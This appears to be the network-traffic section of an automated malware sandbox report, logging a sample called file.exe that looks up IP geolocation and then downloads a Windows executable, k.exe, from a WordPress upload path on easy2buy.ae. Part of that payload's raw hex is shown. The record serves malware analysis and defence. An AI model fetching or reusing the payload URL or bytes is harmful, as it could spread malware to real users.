Apr 24, 2024 14:43:15.370105028 CEST	1289	IN	Data Raw: 87 49 a6 95 5b b0 59 97 58 cc 93 60 b4 35 d2 b0 11 63 f6 77 df dd 96 be 90 16 2d 92 2f c1 01 5e 64 f4 7f 5a d0 1d b2 7c ad ef 4a 35 c7 d4 89 8a a5 fa c3 d1 30 56 71 f7 67 60 29 d1 9f 72 54 b5 24 b0 3c 8d 35 9d b9 17 b0 f6 e1 62 6a 8e fd 1a 9b 3b Data Ascii: I[YX`5cw-/^dZ\|J50Vqg`)rT$<5bj;(sa<[h"y&=xo<!pSj7w_P?tT!ly;wxC Wc){&I_um'MeEm^$upwvS\PI$tKYk{Ql"9
Apr 24, 2024 14:43:15.371325970 CEST	1289	IN	Data Raw: c2 f5 89 5e 16 dc 39 df 5f d9 00 e3 a5 88 f8 dc e1 d8 e3 94 f6 cf a2 d6 4d 06 0b 82 f9 ba f9 0b f0 f0 c0 1e 89 01 c2 13 30 e9 64 34 09 fd 2f ad 14 03 23 cd 80 cc f7 80 78 58 35 34 4d 21 00 89 0f 17 06 fd a2 28 0a 5e 48 3a ce 53 31 9a f4 3d d5 c6 Data Ascii: ^9_M0d4/#xX54M!(^H:S1=&t\|mQOwvfWCt`^*@(P?t!5XK"fnGdB9[vca3(eP,?mE\@&X;R(2F\A48>.5c/$p(M 3?A k
Apr 24, 2024 14:43:15.371685028 CEST	1289	IN	Data Raw: fe 05 01 44 95 69 9c fb cc 78 9f 42 85 43 55 94 5d b7 f3 98 a1 89 e4 92 e9 a1 f6 78 16 da bb 31 e7 a1 24 1e 6d d2 c4 20 bf 71 40 1b 2c 64 da f7 8b 85 d2 92 89 f1 97 54 63 8f e3 e3 f2 d5 6e e7 80 c0 64 e9 df 87 7a bd 50 85 52 35 c8 17 f0 07 23 17 Data Ascii: DixBCU]x1$m q@,dTcndzPR5#VN"v^mY#lI\9^gAZ(gZVcdd.2o@8<!NU'?Pt>L4eK".YEt:0Sf
Apr 24, 2024 14:43:15.371846914 CEST	1289	IN	Data Raw: 6b e0 b1 ad da f3 07 30 0a ce 9e 04 e0 66 7b 6e fb 49 db 50 b4 21 4d 12 90 d1 73 1b b0 a6 d8 b0 81 9c 24 1e 9e c1 8a 3d bb 31 d7 39 15 77 87 2f 64 07 7d f8 e0 2e cb 3b f9 ce 73 aa 19 20 23 8a e7 22 5c 33 a2 88 64 83 96 09 35 0a 00 c9 6e 31 21 af Data Ascii: k0f{nIP!Ms$=19w/d}.;s #"\3d5n1!L`Ys*>N`}tAHg>pN:LH!ZHr@/C/rvI]=,Xw+\`uN`Cxq+-JWi@r/E>8$Q v,eoJ%]OSO
Apr 24, 2024 14:43:15.710082054 CEST	1289	IN	Data Raw: 03 6b a9 45 9c df 84 bb 58 ae 97 39 f7 c3 3a a7 cd 8f 8e 8d 6d db eb f7 3f 5d 59 65 63 25 8d 7d db 1a 98 d9 33 2e 4b f0 1f 46 c8 86 b4 d4 2a 82 e1 7c 41 8d ff f0 74 29 34 84 62 88 b6 1a 64 5e 7a b2 4b b8 e4 fd 96 3b fb 93 9b bc 37 32 f5 86 4f da Data Ascii: kEX9:m?]Yec%}3.KF*\|At)4bd^zK;72Ozgve\|>"SJ7,;PGX3l8aszA":O=,?G&eif4wW/1k[Gf<};U(;.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49714	185.199.220.53	80	5316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 14:43:20.417171955 CEST	169	OUT	Data Raw: 16 03 03 00 a4 01 00 00 a0 03 03 66 28 fe 67 07 8e 5e 46 e9 db d3 1a 40 d8 51 b0 f6 86 d9 68 89 b2 60 27 df 0e 56 d1 6a e5 b2 2b 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: f(g^F@Qh`'Vj+&,+0/$#('=<5/Qeasy2buy.ae#
Apr 24, 2024 14:43:20.713988066 CEST	948	IN	HTTP/1.1 405 Method Not Allowed Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 702 date: Wed, 24 Apr 2024 12:43:20 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 35 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 69 73 20 74 79 70 65 20 72 65 71 75 65 73 74 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 405 Method Not Allowed</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">405</h1><h2 style="margin-top:20px;font-size: 30px;">Method Not Allowed</h2><p>This type request is not allowed!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49715	185.199.220.53	80	5316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 14:43:21.002784967 CEST	115	OUT	Data Raw: 16 03 01 00 6e 01 00 00 6a 03 01 66 28 fe 67 b4 b5 ff 33 34 79 fb bb 29 5f e9 13 9c c4 c4 e6 9c af 0d ac 10 24 5b 38 c1 de a5 12 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 33 00 00 00 10 00 0e 00 00 0b 65 61 73 79 32 62 75 79 2e Data Ascii: njf(g34y)_$[85/3easy2buy.ae#
Apr 24, 2024 14:43:21.288431883 CEST	948	IN	HTTP/1.1 405 Method Not Allowed Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 702 date: Wed, 24 Apr 2024 12:43:21 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 35 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 69 73 20 74 79 70 65 20 72 65 71 75 65 73 74 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 405 Method Not Allowed</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">405</h1><h2 style="margin-top:20px;font-size: 30px;">Method Not Allowed</h2><p>This type request is not allowed!</p></div></div></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	34.117.186.192	443	5316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:43:01 UTC	238	OUT	GET /widget/demo/154.16.105.36 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-24 12:43:02 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Wed, 24 Apr 2024 12:43:02 GMT content-type: application/json; charset=utf-8 Content-Length: 961 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:43:02 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4c 61 73 20 56 65 67 61 73 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 76 61 64 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 36 2e 31 37 35 30 2c 2d 31 31 35 2e 31 33 37 32 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 31 37 34 20 43 6f 67 65 6e 74 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 38 39 31 31 31 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d Data Ascii: { "input": "154.16.105.36", "data": { "ip": "154.16.105.36", "city": "Las Vegas", "region": "Nevada", "country": "US", "loc": "36.1750,-115.1372", "org": "AS174 Cogent Communications", "postal": "89111", "timezone": "Am
2024-04-24 12:43:02 UTC	219	IN	Data Raw: 53 74 61 74 65 20 53 74 72 65 65 74 2c 20 44 61 6c 6c 61 73 2c 20 54 58 20 37 35 32 30 34 2d 33 35 30 30 2c 20 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 69 70 78 6f 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 49 50 58 4f 20 49 6e 63 69 64 65 6e 74 20 52 65 73 70 6f 6e 73 65 20 54 65 61 6d 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 31 35 34 2e 31 36 2e 31 30 35 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: State Street, Dallas, TX 75204-3500, United States", "country": "US", "email": "abuse@ipxo.com", "name": "IPXO Incident Response Team", "network": "154.16.105.0/24", "phone": "" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	104.26.5.15	443	5316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:43:02 UTC	262	OUT	GET /demo/home.php?s=154.16.105.36 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-24 12:43:03 UTC	652	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:43:03 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29EBA65:4BC4_93878F2E:0050_6628FE57_9A6A58F:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BbHHYOJXN5opwAr8Ml4h66gET9wHZ4YletPyrcfqW4FLfOoAuP4e1nAvzmjQB%2FPg5IgsQfYN4SrKn9n3gh6WjtPFLYKe1eB6bZTBcfJrxrHp%2Fd7ofCxKAmkRfw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87962d3f09212aa0-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 12:43:03 UTC	648	IN	Data Raw: 32 38 31 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 Data Ascii: 281{"status":"ok","demoInfo":{"ipAddress":"154.16.105.36","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages"
2024-04-24 12:43:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49717	185.199.220.53	443	5316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:43:22 UTC	229	OUT	GET /wp-content/upgrade/k.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: easy2buy.ae Cache-Control: no-cache
2024-04-24 12:43:22 UTC	423	IN	HTTP/1.1 200 OK Connection: close content-type: application/x-msdownload last-modified: Mon, 15 Apr 2024 05:50:46 GMT accept-ranges: bytes content-length: 4563640 date: Wed, 24 Apr 2024 12:43:22 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-04-24 12:43:23 UTC	16384	IN	Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|E
2024-04-24 12:43:23 UTC	16384	IN	Data Raw: ab cc cc ea 55 ab 8f 7b 04 84 a8 f4 20 e0 1a dd c1 c9 45 b3 bb 0c ff 18 42 37 c4 fb 8c 72 98 05 67 f2 25 c0 79 fa e8 0d da c4 a3 89 ba 51 9d 78 67 f3 d9 34 79 fe b6 0e 0c 4c bf 1e 94 27 c6 56 14 0d e6 a8 69 b7 a3 73 2f f1 91 72 24 35 7b ff ae 4f 55 78 8a 20 2c ba c9 19 6b 41 61 f9 27 73 a3 16 87 a1 ef 1b 1d dc 6d 7f c4 a7 ae bd 8e 20 58 f3 82 ff ab 0a 18 e3 54 be 02 74 87 a0 66 b6 7e 59 17 47 41 b9 8a fb c2 18 7b ec e6 75 7e 81 9e 13 d2 0d 6f a8 45 27 be 06 f4 04 f7 1e 6a 1f f5 79 92 5c 75 cf 09 f5 cd 15 5d d8 3a e4 0f c0 29 89 88 b9 64 42 e9 c5 fa 6f 28 15 fb 5b 59 db be c4 50 ef 6b cd a7 e2 8e 03 c2 4d 0b 90 14 b3 3e c9 6e b5 f0 aa 0e 7c 76 eb 3d ed 8b ed c8 c8 33 37 8f 25 23 55 55 63 34 a1 07 4c 71 2c 3c 9c 30 99 6e fc 31 ef db f4 c5 e9 62 9a dd b4 00 Data Ascii: U{ EB7rg%yQxg4yL'Vis/r$5{OUx ,kAa'sm XTtf~YGA{u~oE'jy\u]:)dBo([YPkM>n\|v=37%#UUc4Lq,<0n1b
2024-04-24 12:43:23 UTC	16384	IN	Data Raw: 7e 39 89 1e 42 2a c7 b4 3e 35 99 d2 ec 3c 2d 46 0b f5 9e 26 e0 60 32 dd 58 e5 fe 8d 51 45 c3 5c 2d 24 24 b5 0c 90 80 3a f6 cd 9d e2 bb de fa 89 7e aa 67 27 9a 98 e9 eb bc 09 4a 15 a6 80 e8 6a 48 89 98 bf 36 ce 96 d0 22 9e a9 c4 5d 12 b4 32 84 45 a8 85 f0 ab 39 d0 38 93 69 cb 66 35 f8 63 3b 3d e5 38 64 82 03 f5 2d 8a ce 5a 83 ad bf 79 06 f2 0c b1 03 5c dc 35 fc bb ae 67 c3 5b ba c4 8a c3 8d 82 7c 07 df 1a 3f d6 94 9d ee f3 ae 9b d3 e7 af 58 e6 8c 76 c5 65 8e 59 10 3b ae e3 22 85 ed 35 7d 19 a3 71 88 ba f8 30 4f 87 72 8c 0e ee 1f 9a 55 c9 ed f9 bb c9 99 3a 96 5d cf 97 b7 90 a2 6e 81 51 41 68 b8 57 3d 7b 40 9c c0 f6 c5 ed 01 f5 09 98 19 11 6f fc d6 2a f9 6b d7 28 14 12 a4 72 56 e8 d3 4b c2 3c e5 32 ce e0 62 97 13 f2 42 5a 0e 6b 4a 63 86 d1 5e e8 76 0d e5 b1 Data Ascii: ~9B>5<-F&`2XQE\-$$:~g'JjH6"]2E98if5c;=8d-Zy\5g[\|?XveY;"5}q0OrU:]nQAhW={@ok(rVK<2bBZkJc^v
2024-04-24 12:43:23 UTC	16384	IN	Data Raw: c5 ca b9 5c 11 3d c7 67 f0 fb 06 2e c0 48 b1 9c 0a 13 c6 fc a1 30 64 07 a9 9a f3 21 f3 b0 6a 47 0c f9 dd 1d f6 ad 82 40 f3 17 f3 96 31 64 e7 75 5a 42 40 06 9d 09 ce d8 4e e3 7c 0e cc 8d 5a 5a 94 b8 b3 e3 70 a2 63 c3 13 c2 ee db 55 6b b3 fe 39 2a c9 b1 47 db 4f 86 3f 0a b7 ea 5c 22 65 4a f0 d9 7b 93 1e da 21 dd 1c e2 3e 5f be b3 02 7c f1 83 c8 20 10 57 aa be 97 bb 6c f8 83 6b 5f 8f f2 f7 74 a0 b6 24 0c 18 5c 4d 57 1c 1e 68 17 52 74 68 28 48 a3 4a 10 99 dd 3b 34 36 93 8d 9b 5d de aa b9 75 e1 3a a4 7e f2 70 c3 cc f1 3f c4 9a 74 87 44 92 c5 95 78 9b 5a 5e a8 65 b9 a9 4a 83 60 e8 fa e1 df c0 07 3a 77 95 43 1e d6 05 56 bd f3 58 41 aa 9e fb 13 4d 2a 3a 3c 08 27 3d 4a a3 9d 9c 64 72 91 a1 12 08 da 24 e2 99 b9 24 d6 06 5d 6e 2a e7 92 9f f6 ff 08 96 0d 10 af a5 9b Data Ascii: \=g.H0d!jG@1duZB@N\|ZZpcUk9GO?\"eJ{!>_\| Wlk_t$\MWhRth(HJ;46]u:~p?tDxZ^eJ`:wCVXAM:<'=Jdr$$]n*
2024-04-24 12:43:23 UTC	16384	IN	Data Raw: ad a7 94 3b 99 c3 60 2d fa 6a ab dd 4f 5a 6d 2f 3d 4e 12 a8 1f 1f 7e 24 bc 90 70 ee c1 ad ea 74 ff f6 d5 8b ca 51 a8 88 a3 ad 07 c1 88 ef 30 18 72 21 31 d9 f9 b2 47 0c 8b e6 46 c7 74 f5 e6 82 82 68 a4 7e 92 7a a1 85 90 99 ca 23 3f 7a 45 f0 af 02 4d 1d 8e f5 f0 70 f0 06 2b ac 99 5c 0f a2 88 c7 7b bd 10 3b 1d 4d 0f 0f 3e 8d e5 27 4b 9f 26 0b 58 d2 ab 92 d9 3d 98 d3 45 80 7f d7 80 af 32 53 96 26 bf 50 21 16 8a 0d c5 38 46 8e 82 77 74 06 97 5b ed 93 6f 49 e2 af 1e 5a e4 c9 41 3c bb b2 90 c1 c6 63 ca 11 a5 6b a2 f2 48 8a 54 99 e0 44 e1 bf 2b 09 53 73 7f b3 b7 e0 3d 97 30 f2 8f 17 f6 5b 0c 1f 80 bb f3 f7 19 d2 15 30 2a 6e 8c 59 c4 2a da 70 26 24 48 37 bc 0c c6 9f e6 f9 5f 32 30 7c 4b cd 73 f4 a3 ed af 8a ca ea 38 10 27 87 c5 3a b8 31 cf e6 b0 ef b5 85 0f d9 90 Data Ascii: ;`-jOZm/=N~$ptQ0r!1GFth~z#?zEMp+\{;M>'K&X=E2S&P!8Fwt[oIZA<ckHTD+Ss=0[0nYp&$H7_20\|Ks8':1
2024-04-24 12:43:23 UTC	16384	IN	Data Raw: 8e f0 ef 9e b6 ca 0f 4b 07 02 a0 0b 53 34 dc 61 d4 43 42 29 bf b5 0f 2d 58 aa 64 2a 2a a8 c8 7d 2c c0 ef ea ec 00 44 cc 0b 4b d1 3f 12 61 0d 27 5c ec de df db 5d dc 52 62 04 dc dc f9 92 40 23 98 32 c9 1e 2a 5d eb b6 81 2f 72 ea d8 22 e4 02 b9 0f ce ac cd af 18 1d f8 96 f7 b4 ca b1 95 0c 94 b7 01 db 11 8d 96 92 d0 51 22 5d c6 93 81 9d af 26 84 8b d7 ef a2 7a 99 4a 06 0c 56 11 28 b4 8f 92 2b fa ea 15 d8 61 37 33 31 b8 e8 74 b1 d4 f6 35 16 2c 32 d5 d5 4b 8c fe 2e 7b 4c 8a 39 50 b1 45 dd 58 c9 67 19 0b 33 9a 9e 51 ea f3 c9 e9 8d ae 01 48 12 02 dd fc 76 7d 52 f7 74 bb 95 a3 f3 02 6d e6 c0 ec da e8 75 cc 0a 61 7c 15 db cf dd ec b2 29 7d 0e 21 bb c5 3c b9 87 80 e1 b5 26 fb 86 36 14 cf c1 80 af ef 51 13 58 82 ea b8 37 a7 7b 1f 37 66 ef 92 5c d9 fc be 15 1a 16 29 Data Ascii: KS4aCB)-Xd*},DK?a'\]Rb@#2]/r"Q"]&zJV(+a731t5,2K.{L9PEXg3QHv}Rtmua\|)}!<&6QX7{7f\)
